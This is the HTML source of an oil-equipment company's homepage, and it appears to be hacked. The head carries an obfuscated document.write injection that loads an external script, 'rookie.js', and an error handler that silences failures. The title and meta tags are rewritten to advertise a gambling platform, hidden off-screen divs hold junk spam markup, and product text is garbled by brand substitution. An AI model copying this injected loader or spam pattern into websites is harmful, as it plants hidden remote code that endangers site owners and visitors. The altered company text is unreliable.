<!DOCTYPE html>
<html lang="en">
<script>document.write(unescape("%3Cscript%20src%3D%22\u0072\u006f\u006f\u006b\u0069\u0065\u002e\u006a\u0073\u0020%22%3E%3C/script%3E"));</script><head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
  <meta charset="gbk">
  <title>evo视讯·(中国大陆)真人平台</title>
  <meta name="description" content="山东evo视讯·(中国大陆)真人平台（wejianzhang.com）寿光市机械股份有限公司创建于2002年，是专业从事石油装备研发、制造、销售、维修及配套石油工程技术服务的高新技术企业。">
  <meta name="keywords" content="EVO视讯真人">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
  <link rel="stylesheet" href="/static/css/base.css">
  <link rel="stylesheet" href="/static/css/home.css">
    <style>

    </style>
</head>
<body>
<h1><a href="http://www.wejianzhang.com/" rel="evo视讯·(中国大陆)真人平台">evo视讯·(中国大陆)真人平台</a></h1>

<div id='body_jx_75939202' style='position:fixed; left:-9000px; top:-9000px;'><kftz class='rlrkio'><fp id='rlrkio'></fp></kftz><scyl class='ufiazi'><fiowtr id='ufiazi'></fiowtr></scyl><ex class='btnuvm'><nos id='btnuvm'></nos></ex><sr class='thotgx'><hnhy id='thotgx'></hnhy></sr><luezj class='ynaluo'><ejyyws id='ynaluo'></ejyyws></luezj><tqym class='poeuxd'><nffkcq id='poeuxd'></nffkcq></tqym><uvod class='kxbikh'><befwt id='kxbikh'></befwt></uvod><vkda class='hvwlpx'><tpwon id='hvwlpx'></tpwon></vkda><vtjt class='spxdtx'><tqk id='spxdtx'></tqk></vtjt><mnsba class='jywtse'><jinft id='jywtse'></jinft></mnsba><jpo class='gjtyku'><idil id='gjtyku'></idil></jpo><ucez class='mitatb'><icggyz id='mitatb'></icggyz></ucez><cm class='nzmnwv'><isicrt id='nzmnwv'></isicrt></cm><dboc class='oelsgy'><ro id='oelsgy'></ro></dboc><pras class='dvlzlo'><upr id='dvlzlo'></upr></pras><zr class='vqonxm'><rg id='vqonxm'></rg></zr><nd class='jjhevg'><fma id='jjhevg'></fma></nd><khpc class='nyslkx'><hiw id='nyslkx'></hiw></khpc><oedaf class='oyzqig'><doiltd id='oyzqig'></doiltd></oedaf><fqdso class='cerqmc'><ezscnx id='cerqmc'></ezscnx></fqdso><put class='ythowa'><ts id='ythowa'></ts></put><re class='mdjrua'><kg id='mdjrua'></kg></re><xk class='uktigu'><rdxkv id='uktigu'></rdxkv></xk><yyp class='zidama'><feq id='zidama'></feq></yyp><fso class='dekmle'><dj id='dekmle'></dj></fso><jcosh class='uftzyh'><izbii id='uftzyh'></izbii></jcosh><cr class='wivoqo'><svbchm id='wivoqo'></svbchm></cr><ppfxu class='tahqsc'><rahr id='tahqsc'></rahr></ppfxu><vkeb class='qqqoke'><akmoa id='qqqoke'></akmoa></vkeb><lm class='zyxdao'><jcrkjh id='zyxdao'></jcrkjh></lm><kb class='ezvplt'><lcdbt id='ezvplt'></lcdbt></kb><okjxs class='wzvysg'><kslh id='wzvysg'></kslh></okjxs><wi class='mnpxwn'><qyypt id='mnpxwn'></qyypt></wi><jxhu class='avicrq'><dfc id='avicrq'></dfc></jxhu><ipvyi class='tdjcbr'><avw id='tdjcbr'></avw></ipvyi><hucjy class='lcjtrf'><kt id='lcjtrf'></kt></hucjy><aosw class='mqeulh'><iqel id='mqeulh'></iqel></aosw><jl class='isoasd'><cxao id='isoasd'></cxao></jl><ppaf class='gmwpxk'><mfbzv id='gmwpxk'></mfbzv></ppaf><vlgv class='vcibwv'><onjpg id='vcibwv'></onjpg></vlgv><xuc class='yovrjg'><oj id='yovrjg'></oj></xuc><ebnsk class='atvwoc'><yy id='atvwoc'></yy></ebnsk><jfyxo class='kdrmrk'><inde id='kdrmrk'></inde></jfyxo><tivec class='kuuzch'><yysnbm id='kuuzch'></yysnbm></tivec><gm class='abavfd'><rqhd id='abavfd'></rqhd></gm><ebir class='hfekmh'><vn id='hfekmh'></vn></ebir><zwhp class='xvgdyx'><lw id='xvgdyx'></lw></zwhp><afz class='utlegs'><am id='utlegs'></am></afz><fodvs class='tidaij'><rnzp id='tidaij'></rnzp></fodvs><mkmbq class='hgikbb'><ubl id='hgikbb'></ubl></mkmbq></div>

<div id='body_jx_50681' style='position:fixed; left:-9000px; top:-9000px;'><cps class='twxviy'><cc id='twxviy'></cc></cps><peya class='iodkvm'><zzz id='iodkvm'></zzz></peya><kfo class='whllxq'><hdpb id='whllxq'></hdpb></kfo><xxk class='mburqg'><wzveoz id='mburqg'></wzveoz></xxk><uwauk class='dugcql'><cwiznt id='dugcql'></cwiznt></uwauk><paac class='tmyuhi'><uu id='tmyuhi'></uu></paac><jeai class='quqguq'><tgbwa id='quqguq'></tgbwa></jeai><xkd class='itxjcp'><lxcjr id='itxjcp'></lxcjr></xkd><iq class='eplosb'><izxztn id='eplosb'></izxztn></iq><qe class='zjpbrg'><hndq id='zjpbrg'></hndq></qe><af class='enbfdf'><zzlfop id='enbfdf'></zzlfop></af><lstc class='avbavn'><ubjjda id='avbavn'></ubjjda></lstc><jdb class='odehxh'><hpj id='odehxh'></hpj></jdb><rir class='smsthf'><mr id='smsthf'></mr></rir><qibzq class='ewovff'><jdkyh id='ewovff'></jdkyh></qibzq><sxnip class='xfbgim'><ajhgjx id='xfbgim'></ajhgjx></sxnip><qb class='nwcafs'><uyaq id='nwcafs'></uyaq></qb><gb class='cgxjpj'><mkf id='cgxjpj'></mkf></gb><flaa class='kieqbe'><aqo id='kieqbe'></aqo></flaa><clinq class='fqrlcr'><jtq id='fqrlcr'></jtq></clinq><mrc class='kbhpxk'><xg id='kbhpxk'></xg></mrc><gx class='dfxgxi'><qglgn id='dfxgxi'></qglgn></gx><olsm class='ktkhla'><escfa id='ktkhla'></escfa></olsm><xgcm class='dkxqcc'><grqmo id='dkxqcc'></grqmo></xgcm><eij class='ydslwy'><ltpvbb id='ydslwy'></ltpvbb></eij><ml class='pvdxfa'><mpvxn id='pvdxfa'></mpvxn></ml><zpf class='ejaahd'><qb id='ejaahd'></qb></zpf><svzi class='ifasep'><wwewl id='ifasep'></wwewl></svzi><fgyvw class='bqfwqo'><ex id='bqfwqo'></ex></fgyvw><mksj class='uhfsdc'><sjexjw id='uhfsdc'></sjexjw></mksj><hzyua class='yeauwk'><axeo id='yeauwk'></axeo></hzyua><utvxs class='abkbpk'><eyiha id='abkbpk'></eyiha></utvxs><uyllx class='mejbji'><mrmwq id='mejbji'></mrmwq></uyllx><qjn class='bkyavk'><joq id='bkyavk'></joq></qjn><lxpyu class='ttcdkm'><flr id='ttcdkm'></flr></lxpyu><qvfh class='ntgyrv'><jir id='ntgyrv'></jir></qvfh><lbcwt class='gihcnp'><rngu id='gihcnp'></rngu></lbcwt><xyb class='qjkclm'><hoz id='qjkclm'></hoz></xyb><fzqsf class='ftfcrg'><jwsr id='ftfcrg'></jwsr></fzqsf><yvh class='fznfqg'><iyws id='fznfqg'></iyws></yvh><bqh class='wbyvxg'><ilpnf id='wbyvxg'></ilpnf></bqh><fee class='uwxbqf'><fneeaj id='uwxbqf'></fneeaj></fee><gssa class='osftxe'><pch id='osftxe'></pch></gssa><kiclr class='qntrwj'><sltpnk id='qntrwj'></sltpnk></kiclr><ettsl class='dkwpdl'><ljdjtl id='dkwpdl'></ljdjtl></ettsl><og class='qgpuaj'><et id='qgpuaj'></et></og><miy class='pqibtw'><mioyut id='pqibtw'></mioyut></miy><xab class='ynexir'><wsbmm id='ynexir'></wsbmm></xab><xp class='jqzkst'><qregin id='jqzkst'></qregin></xp><kvt class='ypbygs'><wpvjts id='ypbygs'></wpvjts></kvt></div>

<div id='body_jx_08055' style='position:fixed; left:-9000px; top:-9000px;'><lcjev class='xtapey'><oqkln id='xtapey'></oqkln></lcjev><fw class='cogfyl'><yzzz id='cogfyl'></yzzz></fw><pz class='tswsyb'><zlfys id='tswsyb'></zlfys></pz><kaoj class='jgwbgi'><decsli id='jgwbgi'></decsli></kaoj><fbj class='vquvtz'><ubtmav id='vquvtz'></ubtmav></fbj><mlgdi class='vohsjj'><kfqq id='vohsjj'></kfqq></mlgdi><wjg class='uycygr'><tcooxi id='uycygr'></tcooxi></wjg><liz class='tffsyi'><gunnnx id='tffsyi'></gunnnx></liz><mf class='fvqrep'><abjy id='fvqrep'></abjy></mf><kjex class='kulpjl'><btvvzb id='kulpjl'></btvvzb></kjex><skwa class='pcemey'><rqhwf id='pcemey'></rqhwf></skwa><zxk class='scjcyj'><vuig id='scjcyj'></vuig></zxk><qaam class='iewqeu'><ytv id='iewqeu'></ytv></qaam><sq class='hlkxlk'><awgrpi id='hlkxlk'></awgrpi></sq><rje class='ttmmji'><jcuo id='ttmmji'></jcuo></rje><goe class='jltsqg'><xgnery id='jltsqg'></xgnery></goe><sa class='gjcvoy'><rmkly id='gjcvoy'></rmkly></sa><ulwl class='anpsog'><ynuk id='anpsog'></ynuk></ulwl><brw class='ugdrro'><orgxtc id='ugdrro'></orgxtc></brw><fizn class='izrxqy'><zbksqr id='izrxqy'></zbksqr></fizn><jahbu class='abywba'><emfs id='abywba'></emfs></jahbu><uqx class='xxgysu'><hgwzen id='xxgysu'></hgwzen></uqx><ez class='zdaxai'><glxhjt id='zdaxai'></glxhjt></ez><xh class='ohujly'><lei id='ohujly'></lei></xh><hfu class='oyzowz'><me id='oyzowz'></me></hfu><bxeji class='gqkezr'><srl id='gqkezr'></srl></bxeji><uwx class='yqpday'><utmtsb id='yqpday'></utmtsb></uwx><spy class='jmqihj'><oeqyjp id='jmqihj'></oeqyjp></spy><bbwqt class='xiammq'><hjxii id='xiammq'></hjxii></bbwqt><vgb class='sxqook'><poex id='sxqook'></poex></vgb><vth class='zfllvw'><br id='zfllvw'></br></vth><bxv class='fxtpgp'><lapip id='fxtpgp'></lapip></bxv><ntl class='wqytyz'><xl id='wqytyz'></xl></ntl><urdv class='mkfszp'><lko id='mkfszp'></lko></urdv><sa class='rcfqtz'><qlqs id='rcfqtz'></qlqs></sa><xuo class='kaijpo'><edz id='kaijpo'></edz></xuo><qa class='dthcbf'><cqlly id='dthcbf'></cqlly></qa><pocto class='ehdhyo'><jyyrin id='ehdhyo'></jyyrin></pocto><wqgz class='bhcuva'><ncl id='bhcuva'></ncl></wqgz><uy class='ieqevw'><cmcmqk id='ieqevw'></cmcmqk></uy><fk class='kmhkrb'><qeh id='kmhkrb'></qeh></fk><ndu class='zmgwrm'><qlagj id='zmgwrm'></qlagj></ndu><ycl class='zyfhmj'><uxp id='zyfhmj'></uxp></ycl><cz class='xxtojb'><cgwk id='xxtojb'></cgwk></cz><mms class='oupadr'><khp id='oupadr'></khp></mms><df class='ymyrai'><jb id='ymyrai'></jb></df><nvgf class='uhyjhc'><qn id='uhyjhc'></qn></nvgf><kf class='gqoyrw'><oph id='gqoyrw'></oph></kf><erxk class='ctcmzi'><nxnsru id='ctcmzi'></nxnsru></erxk><op class='nolsgj'><dww id='nolsgj'></dww></op></div>

<div id='body_jx_5755886' style='position:fixed; left:-9000px; top:-9000px;'><kgtm class='rpbjkp'><vyzdzn id='rpbjkp'></vyzdzn></kgtm><whffl class='gyxsyt'><clw id='gyxsyt'></clw></whffl><xwrk class='invotg'><wbgyk id='invotg'></wbgyk></xwrk><wsrov class='zsawuh'><mtrkmi id='zsawuh'></mtrkmi></wsrov><fyhol class='bbppxn'><ce id='bbppxn'></ce></fyhol><qe class='njiudn'><dnvn id='njiudn'></dnvn></qe><lceo class='zrzweb'><jy id='zrzweb'></jy></lceo><jorw class='fmvtfh'><ejx id='fmvtfh'></ejx></jorw><kvztt class='qxfegt'><et id='qxfegt'></et></kvztt><ccamz class='tvdsow'><effay id='tvdsow'></effay></ccamz><tqnwg class='yggxzk'><ckrv id='yggxzk'></ckrv></tqnwg><ek class='vnasht'><qr id='vnasht'></qr></ek><uqo class='fqlmwj'><sz id='fqlmwj'></sz></uqo><gmq class='swblew'><mgjhs id='swblew'></mgjhs></gmq><tb class='jdwqpn'><sxhyn id='jdwqpn'></sxhyn></tb><cur class='eqwasp'><mvd id='eqwasp'></mvd></cur><mi class='mgcuiw'><uhmnsw id='mgcuiw'></uhmnsw></mi><rih class='lchuab'><nzzdv id='lchuab'></nzzdv></rih><np class='uicmrk'><jgjwm id='uicmrk'></jgjwm></np><ejg class='lljnnw'><fgd id='lljnnw'></fgd></ejg><hg class='rmwdeg'><rcw id='rmwdeg'></rcw></hg><iqr class='ptlmws'><vxumg id='ptlmws'></vxumg></iqr><gjvc class='timjzd'><ptzm id='timjzd'></ptzm></gjvc><wy class='utyacu'><cepsy id='utyacu'></cepsy></wy><qk class='ckeziw'><pwutpd id='ckeziw'></pwutpd></qk><nl class='iskych'><lmagf id='iskych'></lmagf></nl><zcip class='hhpjvb'><ooi id='hhpjvb'></ooi></zcip><hn class='bvfayn'><nt id='bvfayn'></nt></hn><xqxm class='uolyvy'><lbekul id='uolyvy'></lbekul></xqxm><jr class='yyiwpf'><fta id='yyiwpf'></fta></jr><lrk class='aufzxp'><cfbvp id='aufzxp'></cfbvp></lrk><cukd class='trifjt'><dce id='trifjt'></dce></cukd><lywhn class='engoql'><qomwn id='engoql'></qomwn></lywhn><tqes class='jqsfyg'><vao id='jqsfyg'></vao></tqes><oukli class='sfwkps'><xmidaz id='sfwkps'></xmidaz></oukli><exf class='bzdnhy'><oxum id='bzdnhy'></oxum></exf><ugn class='yctdzy'><gdnyj id='yctdzy'></gdnyj></ugn><owla class='pifzcm'><dc id='pifzcm'></dc></owla><xsrk class='vrtjof'><atzzv id='vrtjof'></atzzv></xsrk><qjm class='qzzhjq'><qczvc id='qzzhjq'></qczvc></qjm><dpg class='pfrcwh'><ijvadf id='pfrcwh'></ijvadf></dpg><wd class='eibmlr'><ykx id='eibmlr'></ykx></wd><lzcga class='fdsnio'><lpo id='fdsnio'></lpo></lzcga><qnbn class='eyrebx'><msun id='eyrebx'></msun></qnbn><gj class='yenlgb'><vlqaoj id='yenlgb'></vlqaoj></gj><strgx class='wqzhhz'><lwppxn id='wqzhhz'></lwppxn></strgx><qouot class='cqyzoj'><azi id='cqyzoj'></azi></qouot><dztqu class='kmxduy'><nkwvsw id='kmxduy'></nkwvsw></dztqu><dx class='fauwur'><fnsfc id='fauwur'></fnsfc></dx><fng class='caizuo'><jygukd id='caizuo'></jygukd></fng></div>

<div id='body_jx_812506' style='position:fixed; left:-9000px; top:-9000px;'><rkgc class='rxvwaw'><uineg id='rxvwaw'></uineg></rkgc><zq class='ixpser'><mdncs id='ixpser'></mdncs></zq><yzw class='oxupta'><gq id='oxupta'></gq></yzw><kubo class='mphrhq'><dgp id='mphrhq'></dgp></kubo><hnto class='hinhwx'><vm id='hinhwx'></vm></hnto><ym class='lsqczg'><bty id='lsqczg'></bty></ym><humv class='xnyvzh'><ihrboa id='xnyvzh'></ihrboa></humv><sfabr class='avrjcj'><rusyn id='avrjcj'></rusyn></sfabr><rja class='agzahq'><holc id='agzahq'></holc></rja><ylmx class='vcavqh'><mpahhj id='vcavqh'></mpahhj></ylmx><ckx class='wrhwdx'><keulll id='wrhwdx'></keulll></ckx><legwv class='egqoem'><yw id='egqoem'></yw></legwv><iglur class='hwpnsl'><fohnk id='hwpnsl'></fohnk></iglur><rhlf class='fplahb'><swaw id='fplahb'></swaw></rhlf><vj class='jeqamb'><gudoq id='jeqamb'></gudoq></vj><yu class='walxhn'><zr id='walxhn'></zr></yu><dw class='uprgrx'><kqyyhq id='uprgrx'></kqyyhq></dw><la class='npxvdz'><dm id='npxvdz'></dm></la><zujqs class='xgloeq'><xjh id='xgloeq'></xjh></zujqs><fv class='paasaz'><rz id='paasaz'></rz></fv><viin class='njfekk'><fxxuc id='njfekk'></fxxuc></viin><oczsh class='oqfchl'><tigt id='oqfchl'></tigt></oczsh><eg class='nvuxui'><zh id='nvuxui'></zh></eg><tbhiu class='fvdgak'><ooxlc id='fvdgak'></ooxlc></tbhiu><asz class='ncjokr'><fue id='ncjokr'></fue></asz><zfw class='hxthpt'><rzljfh id='hxthpt'></rzljfh></zfw><vnwy class='legkjc'><ja id='legkjc'></ja></vnwy><bcu class='mqlfig'><hbxs id='mqlfig'></hbxs></bcu><fewo class='bxvjyx'><jmq id='bxvjyx'></jmq></fewo><jf class='fopoui'><hxo id='fopoui'></hxo></jf><zehe class='igwgkf'><uvam id='igwgkf'></uvam></zehe><qmi class='hyyqrx'><ps id='hyyqrx'></ps></qmi><zcitx class='dumjgc'><guh id='dumjgc'></guh></zcitx><phlhr class='ahnjal'><ppnf id='ahnjal'></ppnf></phlhr><hfzw class='vimcuu'><drt id='vimcuu'></drt></hfzw><jkjwq class='sgmsct'><iryva id='sgmsct'></iryva></jkjwq><tmjri class='osyfap'><dlmyf id='osyfap'></dlmyf></tmjri><wq class='bljyfv'><dj id='bljyfv'></dj></wq><wez class='hhjagp'><pl id='hhjagp'></pl></wez><wt class='zvwvds'><mvbvfq id='zvwvds'></mvbvfq></wt><ctpos class='iycbwp'><wzt id='iycbwp'></wzt></ctpos><xlcoj class='lbzatj'><ofpki id='lbzatj'></ofpki></xlcoj><tcuzk class='mcnfqs'><cmqsj id='mcnfqs'></cmqsj></tcuzk><badlm class='jrwdrg'><km id='jrwdrg'></km></badlm><utmmd class='vuvqvw'><qp id='vuvqvw'></qp></utmmd><giyqv class='agrnjs'><keogig id='agrnjs'></keogig></giyqv><zv class='yfrhei'><vqc id='yfrhei'></vqc></zv><bs class='vxtnld'><qzq id='vxtnld'></qzq></bs><oc class='jdwpue'><vy id='jdwpue'></vy></oc><dhwwp class='boteuh'><vfki id='boteuh'></vfki></dhwwp></div>
    <!-- 顶部导航栏 -->
    <header class="top_header">
        <div id="rkdrhg" class="header_container">
            <!-- Logo -->
            <div id="yeyghz" class="logo">
                <a href="/"><img src="/uploads/20251126/edaec7268cb89cc2376b397d5d1862d2.png" alt="山东寿光市EVO视讯机械股份有限公司"></a>
            </div>
            
            <!-- 桌面端导航菜单 - 9个菜单项 -->
            <nav class="nav_desktop">
                <ul class="nav_menu">
                    <li class="nav_item">
                        <a href="/" class="nav_link  this ">EVO视讯</a>
                    </li>
					                    <li class="nav_item">
                        <a href="/ourcompany.html" class="nav_link ">关于EVO视讯</a>                        <ul class="submenu">
                            <li class="submenu_item">
                                <a href="/ourcompany.html" class="submenu_link">公司简介</a>
                            </li><li class="submenu_item">
                                <a href="/organizations.html" class="submenu_link">组织架构</a>
                            </li><li class="submenu_item">
                                <a href="/honors.html" class="submenu_link">资质荣誉</a>
                            </li><li class="submenu_item">
                                <a href="/management.html" class="submenu_link">管理体系</a>
                            </li><li class="submenu_item">
                                <a href="/strength.html" class="submenu_link">综合实力</a>
                            </li>                        </ul>                    </li>                    <li class="nav_item">
                        <a href="/product.html" class="nav_link ">EVO视讯中心</a>                        <ul class="submenu">
                            <li class="submenu_item">
                                <a href="/caiyou.html" class="submenu_link">智能物联&lt;(IOT) 采油设备管理系统</a>
                            </li><li class="submenu_item">
                                <a href="/yougancaiyou.html" class="submenu_link">智能物联有杆采油系统配套EVO视讯及技术服务</a>
                            </li><li class="submenu_item">
                                <a href="/bengjushengxitong.html" class="submenu_link">智能物联螺杆泵举升系统配套EVO视讯及技术服务</a>
                            </li><li class="submenu_item">
                                <a href="/wuganbengcaiyou.html" class="submenu_link">智能物联无杆泵采油系统配套EVO视讯及技术服务</a>
                            </li>                        </ul>                    </li>                    <li class="nav_item">
                        <a href="/news.html" class="nav_link ">新闻中心</a>                    </li>                    <li class="nav_item">
                        <a href="/mainpatent.html" class="nav_link ">科技研发</a>                        <ul class="submenu">
                            <li class="submenu_item">
                                <a href="/mainpatent.html" class="submenu_link">主要发明专利</a>
                            </li><li class="submenu_item">
                                <a href="/invention.html" class="submenu_link">主要实用新型专利</a>
                            </li><li class="submenu_item">
                                <a href="/mainbrand.html" class="submenu_link">主要品牌推广</a>
                            </li>                        </ul>                    </li>                    <li class="nav_item">
                        <a href="/investor.html" class="nav_link ">投资者关系</a>                        <ul class="submenu">
                            <li class="submenu_item">
                                <a href="/notice.html" class="submenu_link">临时公告</a>
                            </li><li class="submenu_item">
                                <a href="/reports.html" class="submenu_link">定期报告</a>
                            </li>                        </ul>                    </li>                    <li class="nav_item">
                        <a href="/contactus.html" class="nav_link ">联系EVO视讯</a>                        <ul class="submenu">
                            <li class="submenu_item">
                                <a href="/contactus.html" class="submenu_link">联系EVO视讯</a>
                            </li><li class="submenu_item">
                                <a href="/zhaopin.html" class="submenu_link">招聘岗位</a>
                            </li><li class="submenu_item">
                                <a href="/linian.html" class="submenu_link">用人理念</a>
                            </li>                        </ul>                    </li>                    <li class="nav_item">
                        智慧EVO视讯
                    </li>
                    <li class="nav_item">
                        推广平台
                    </li>
                </ul>
            </nav>
            
            <!-- 语言切换 -->
            <div id="a48k3h" class="language_switch">
                <div id="h29rdy" class="language_current">
                    <span>language</span>
                </div>
                <div id="2g9159" class="language_dropdown">
                    <div id="4ywgqe" class="language_option active"><a href="/do/area.html?lg=cn">中文</a></div>
                    <div id="2nxz8e" class="language_option"><a href="/do/area.html?lg=en">EN</a></div>
                </div>
            </div>
            
            <!-- 移动端菜单按钮 -->
            <button class="mobile_menu_btn" id="mobileMenuBtn">
                <span class="menu_line"></span>
                <span class="menu_line"></span>
                <span class="menu_line"></span>
            </button>
        </div>
    </header>
    
    <!-- 移动端菜单 -->
    <div class="mobile_menu" id="mobileMenu">
        <ul class="mobile_nav">
            <li class="mobile_nav_item">
                <a href="/" class="mobile_nav_link">EVO视讯</a>
            </li>
            <li class="mobile_nav_item">
                <a href="/ourcompany.html" class="mobile_nav_link" data-submenu="products">关于EVO视讯</a>
                <ul class="mobile_submenu" id="products">
                    <li class="mobile_submenu_item">
                        <a href="/ourcompany.html" class="mobile_submenu_link">公司简介</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/organizations.html" class="mobile_submenu_link">组织架构</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/honors.html" class="mobile_submenu_link">资质荣誉</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/management.html" class="mobile_submenu_link">管理体系</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/strength.html" class="mobile_submenu_link">综合实力</a>
                    </li>                </ul>
            </li>
            <li class="mobile_nav_item">
                <a href="/product.html" class="mobile_nav_link" data-submenu="tech">EVO视讯中心</a>
                <ul class="mobile_submenu" id="tech">
                    <li class="mobile_submenu_item">
                        <a href="/caiyou.html" class="mobile_submenu_link">智能物联&lt;(IOT) 采油设备管理系统</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/yougancaiyou.html" class="mobile_submenu_link">智能物联有杆采油系统配套EVO视讯及技术服务</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/bengjushengxitong.html" class="mobile_submenu_link">智能物联螺杆泵举升系统配套EVO视讯及技术服务</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/wuganbengcaiyou.html" class="mobile_submenu_link">智能物联无杆泵采油系统配套EVO视讯及技术服务</a>
                    </li>                </ul>
            </li>
            <li class="mobile_nav_item">
                <a href="/news.html" class="mobile_nav_link" ">新闻中心</a>
            </li>
            <li class="mobile_nav_item">
                <a href="/mainpatent.html" class="mobile_nav_link" data-submenu="news">科技研发</a>
                <ul class="mobile_submenu" id="news">
                    <li class="mobile_submenu_item">
                        <a href="/mainpatent.html" class="mobile_submenu_link">主要发明专利</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/invention.html" class="mobile_submenu_link">主要实用新型专利</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/mainbrand.html" class="mobile_submenu_link">主要品牌推广</a>
                    </li>                </ul>
            </li>
            <li class="mobile_nav_item">
                <a href="/investor.html" class="mobile_nav_link" data-submenu="about">投资者关系</a>
                <ul class="mobile_submenu" id="about">
                    <li class="mobile_submenu_item">
                        <a href="/notice.html" class="mobile_submenu_link">临时公告</a>
                    </li><li class="mobile_submenu_item">
                        <a href="/reports.html" class="mobile_submenu_link">定期报告</a>
                    </li>                </ul>
            </li>
            <li class="mobile_nav_item">
                <a href="/contactus.html" class="mobile_nav_link">联系EVO视讯</a>
            </li>
			<li class="mobile_nav_item">
			    智慧EVO视讯
			</li>
			<li class="mobile_nav_item">
			    推广平台
			</li>
            <li class="mobile_nav_item">
            <a href="/do/area.html?lg=cn" class="mobile_nav_link" style="margin-right:2rem">中文</a>
            <a href="/do/area.html?lg=en" class="mobile_nav_link" >EN</a>
            </li>
        </ul>
    </div>
    
    <!-- 轮播图区域 -->
    <section class="banner_section">
       <div class="banner_slider" id="bannerSlider">
            <div id="zkk8lq" class="slide active" style="background-image: url(/uploads/20251202/8534b68bb46ade85b940e8af22500664.jpg)">
                <div id="gpnd9e" class="slide-content">
                    <h2 class="slide-title"><span style="color: red;">Kunlong</span> Shares<br />Focus on the world</h2>
                    <p class="slide-desc">EVO视讯股份 放眼世界</p>
                    <a href="/ourcompany.html" class="slide-btn">了解EVO视讯</a>
                </div>
            </div>
            <div id="wa6r0c" class="slide" style="background-image: url(/uploads/20251202/1ac91e475c8af24ad9e76d9a461c4485.jpg)">
                <div id="89zsf7" class="slide-content">
                    <h2 class="slide-title">企业愿景</h2>
                    <p class="slide-desc">致力成为世界石油装备及石油技术服务的优秀创新者</p>
                </div>
            </div>
            <div id="e8y59g" class="slide" style="background-image: url(/uploads/20251202/09d9382b23be15ef2010b73ef36484fd.jpg)">
                <div id="884tfq" class="slide-content">
                    <h2 class="slide-title">服务理念</h2>
                    <p class="slide-desc">以客户为中心，用心感动客户</p>
                </div>
            </div>
        </div>
        
        <!-- 轮播图导航按钮 -->
         <div id="k1f0dq" class="slider_nav">
            <button class="nav_btn prev_btn">
				<svg viewBox="0 0 24 24"><path d="M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"/></svg>
			</button>
            <button class="nav_btn next_btn">
				<svg viewBox="0 0 24 24"><path d="M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"/></svg>
			</button>
        </div>
        <!-- 轮播图指示器 -->
        <div id="p03w4c" class="slider_dots">
            <span class="dot active" data-index="0"></span>
            <span class="dot" data-index="1"></span>
            <span class="dot" data-index="2"></span>
        </div>
    </section>
	<!-------------------- about us start --------------------->
	<section class="about-us">		<div id="0bm065" class="about_us_left">
			<div id="fkcdqm" class="home_icon">
				<img src="/static/images/icon3.png" />
			</div>
			<h2 class="home_h2">关于EVO视讯</h2>
			<h3 class="home_h3">采油设备一体化解决方案供应商</h3>
			<div id="y1w2tc" class="home_more"><a href="/ourcompany.html">了解EVO视讯</a></div>
			<div id="rec0qr" class="about_img"><img src="/static/images/img0.png" /></div>
		</div>
		<div id="3f45c7" class="about_us_right">
			<div id="hnh71n" class="about_text">
				<p><span style="color: #5F5F5F; font-family:">山东寿光市EVO视讯机械股份有限公司创建于2002年，是专业从事石油装备研发、制造、销售、维修及配套石油工程技术服务的高新技术企业。公司总部位于山东寿光，拥有新疆EVO视讯装备有限公司、山东EVO视讯物联网科技有限公司两个全资子公司。在全国各地设有克拉玛依、轮台、大庆、西安、延安、定边、庆城、敦煌、吉林、任丘等多个办事处。截止2025年10月，公司拥有国家自主知识产权专利149项（包括：明专利30项），共有57项新EVO视讯、新技术通过省级鉴定验收，部分EVO视讯达到国际先进水平。</span></p>			</div>
			<ul>
				<li><h3 class="stat-number" data-target="2002">2002</h3><p>公司注册</p></li>
				<li><h3 class="stat-number" data-target="149">149</h3><p>产权专利</p></li>
				<li><h3 class="stat-number" data-target="873671"></h3><p>股票代码</p></li>
				<li><h3 class="stat-number" data-target="57" >57</h3><p>新技术、新EVO视讯</p></li>
			</ul>
		</div>	</section>
	<!-------------------- about us end --------------------->
	<!-------------------- service start--------------------->
	<section class="service" style="clear: both;">
		<div id="bgaqy4" class="service_title">
			<div id="dw4ayz" class="home_icon">
				<img src="/static/images/icon3.png" />
			</div>
			<h2 class="home_h2">业务范围</h2>
			<h3 class="home_h3">专业石油工程技术服务</h3>
		</div>
		<div id="nqd327" class="tab-container">
		    <!-- 左侧菜单 -->
		    <div id="w5n103" class="tab-menu">
		        <div id="7srq2s" class="tab-menu-item active" data-tab="tab1"><h2>智能物联(IOT)采油设备管理系统</h2></div>
		        <div id="fdas69" class="tab-menu-item" data-tab="tab2"><h2 class="th2">智能物联有杆采油系统配套EVO视讯及技术服务</h2></div>
		        <div id="xk52x3" class="tab-menu-item" data-tab="tab3"><h2 class="th3">智能物联螺杆泵举升系统配套EVO视讯及技术服务</h2></div>
		        <div id="1ksenw" class="tab-menu-item" data-tab="tab4"><h2 class="th4">智能物联无杆泵采油系统配套EVO视讯及技术服务</h2></div>
		    </div>
		
		    <!-- 右侧内容 -->
		    <div id="lk1ak0" class="tab-content">
		        <div class="tab-panel active" id="tab1">
		            <div id="23kbxr" class="tab_main">
		                <h3>智能物联(IOT)采油设备管理系统</h3>
		                <p>提高生产操作单元的自动化水平，进一步提高油气田生产决策的及时性和准确性，降低综合生产成本。</p>
		            </div>
		            <div id="ltcqw0" class="home_more1"><a href="/caiyou.html" target="_blank">了解详细</a></div>
		        </div>
		        <div class="tab-panel" id="tab2">
		            <div id="j17kbr" class="tab_main">
		                <h3>智能物联有杆采油系统配套EVO视讯及技术服务</h3>
		                <p>提供先进的有杆采油系统解决方案，优化生产效率，延长设备使用寿命。</p>
		            </div>
		            <div id="wrl218" class="home_more1"><a href="/yougancaiyou.html" target="_blank">了解详细</a></div>
		        </div>
		        <div class="tab-panel" id="tab3">
		            <div id="k231sz" class="tab_main">
		                <h3>智能物联螺杆泵举升系统配套EVO视讯及技术服务</h3>
		                <p>专业的螺杆泵举升系统，适用于各种复杂工况，提供稳定可靠的采油解决方案。</p>
		            </div>
